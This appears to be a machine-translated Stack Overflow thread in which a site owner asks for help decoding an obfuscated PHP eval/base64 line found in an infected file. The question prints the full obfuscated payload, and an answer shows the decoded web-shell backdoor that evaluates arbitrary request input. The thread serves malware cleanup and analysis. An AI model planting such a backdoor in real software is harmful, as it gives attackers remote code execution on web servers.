Eval PHP Hack 无法解码代码

Posted

技术标签:

【中文标题】Eval PHP Hack 无法解码代码【英文标题】:Eval PHP Hack Cannot decode code 【发布时间】:2013-07-07 04:39:18 【问题描述】:

我已经阅读了很多关于使用 base64_encoder 进行正常 php eval 的内容,并且能够解码许多受感染的 php 文件。

话虽如此,我有一个不遵循标准 eval 调用的文件,我希望社区提供一些帮助。

谁能解码和/或告诉我代码中发生了什么?

谢谢, --埃里克

<?php /*vg!*/eval/*E--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnBvKi9ldmFsLypGUSZRX00qLygvKk56SiovYmFzZTY0X2RlY29kZS8qPDU+cyovKC8qTVl5YnMqLydMeW91U
EZJcUwybG1MeXBiY0h0aFZTb3ZLQzhxZCcvKndLc2Q/PGgqLy4vKllcdkgqLycweHVYRFJvTkNvdmFYTnpaWFF2S2sxTVBDb3ZLQycvKiF9Z1sqLy4vKiBrVlQqLyc4cWRYMHJLaThrWDFKRlVWVkZVMVF2S2
54Mk9DdCcvKjlRSG1Ta1FIKi8uLypFYlMuaCovJ2VNRHM4S2k5Ykx5cHNkSFlxTHlkakp5OHFkMmRHJy8qQUI5Ki8uLypxcyFIZU4qLydlQ292TGk4cVFsVXpObElxTHlkdUp5OHFjRGw0SScvKiY6ZSovLi8
qSlVxKi8nVU51S2k4dUx5b3hYQ1o2S2k4bmVTY3ZLbU10Sz'/*0B>.'&CK*/./*W1H*/'MnLypxcFpJKi8uLypBKWVTKi8nQlNLaTh1THlwa2JqRTFKVG9xTHlkemNTY3ZLa2QnLypgZj5zZTgqLy4vKjlENT
FcTyovJ0ROVGxWS2k5ZEx5cFRORXc1S2k4dkttaytXVE1vJy8qOmBaRUtlJkUqLy4vKlVILjspZSovJ1pTb3ZLUzhxT1RCbFVsWlZLaTh2S2xaSmRTVkpmJy8qVzpMa2hUKi8uLyo1cTNmdT8qLydDb3ZLUzh
xTlZvM0ppb3ZaWFpoYkM4cVp5MWNTMCcvKmheXTtbICovLi8qTC5SS2JZKi8nY3FMeWd2S21KNFZVNHllU292YzNSeWFYQnpiR0YnLypTS2MuJSovLi8qb3MwXjUySHsqLyd6YUdWekx5cGVWVjUzYnlvdktD
OHFKMk00SjBvcScvKlJrSCEqLy4vKk41JjkqLydMeVJmVWtW'/*Ju%:AN*/./*0\`a Z=*/'UlZVVlRWQzhxUUNoZGF5b3ZXeThxTCcvKjw8J3guaCovLi8qbixXKi8nV1JXZXpKSFB6QXFMeWRqYmljdktpMX
JlVkpKS2knLyotVS5zKi8uLyogUl5OKi8nOHVMeXBFVnpKYVoyRXFMeWQ1YzNFbkx5bzRTMFknLypjWmsqLy4vKjNkeWVMKi8naElEb3lRU292WFM4cU5peDZkU292THlwdlNVSngnLyonQVJWdyl1Ki8uLyp
eX1pKOmZ2Ki8nVVNvdktTOHFNV0JqS1V3cUx5OHFiMVU4T2tzcUwnLypUdlQrJkYqLy4vKmtFPDNmISovJ3lrdktsVkllMnNsS2k4dktsWmhVaTVUS3lvdk95OHFKbHhoZlN4MEtpOD0nLypaKWVePyovKS8q
J2tYKi8vKmsmViovKS8qMWdFVyovLyo8OHhObSovOy8qXW8/Ki8='/*L,I*/)/*8Oyj*//*uEGgU*/)/*+LT*//*Q?.e*/;/*oGCkBv*/ ?>

【问题讨论】:

它是 base64 编码的(可能有部分 if 多次),其中穿插有 php cmets。 【参考方案1】:

那里只是一堆 PHP cmets,例如从第一行开始:

<?php /*vg!*/eval/*E--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnB etc...
      ^^^^^^^    ^^^^^^^^^^^ ^^^^^^^^             ^^^^^^^^^ ^^^^^^^--comments

真的只是

<?php eval(base64_decode('LyPSnB  etc...

【讨论】:

然后是通常的嵌套 eval/base64 序列。似乎在所有步骤中都插入了额外的 cmets。 那只是为了进一步混淆代码。鉴于 cmets 被 php 忽略,cmets 中的任何随机垃圾都可能足以欺骗大多数病毒扫描程序。【参考方案2】:

如果你一直走到兔子洞,你会得到以下命令。

if(isset($_REQUEST['cnysq']))eval(stripslashes($_REQUEST['cnysq']));

如果您在可视化编辑器中打开代码,您会看到有很多 cmets。删除它们,您会看到它是一个 bas64 编码的字符串。 对其进行解码,您会看到更多相同的内容。 继续删除 cmets 并连接字符串,大约 3 级后,您就到了这一点。

【讨论】:

以上是关于Eval PHP Hack 无法解码代码的主要内容,如果未能解决你的问题,请参考以下文章

JavaScript 之 解码类似eval(function(p,a,c,k,e,d){}))的JavaScript代码

来自localstorage的JSON无法在php中解码

C# UTF-8 base64 编码在 PHP 中无法正确解码

如何使用 php 解码 base64 中的字符串

无法将 JSON 解码为 PHP 数组并显示在 HTML 表中

PHP解码url编码问题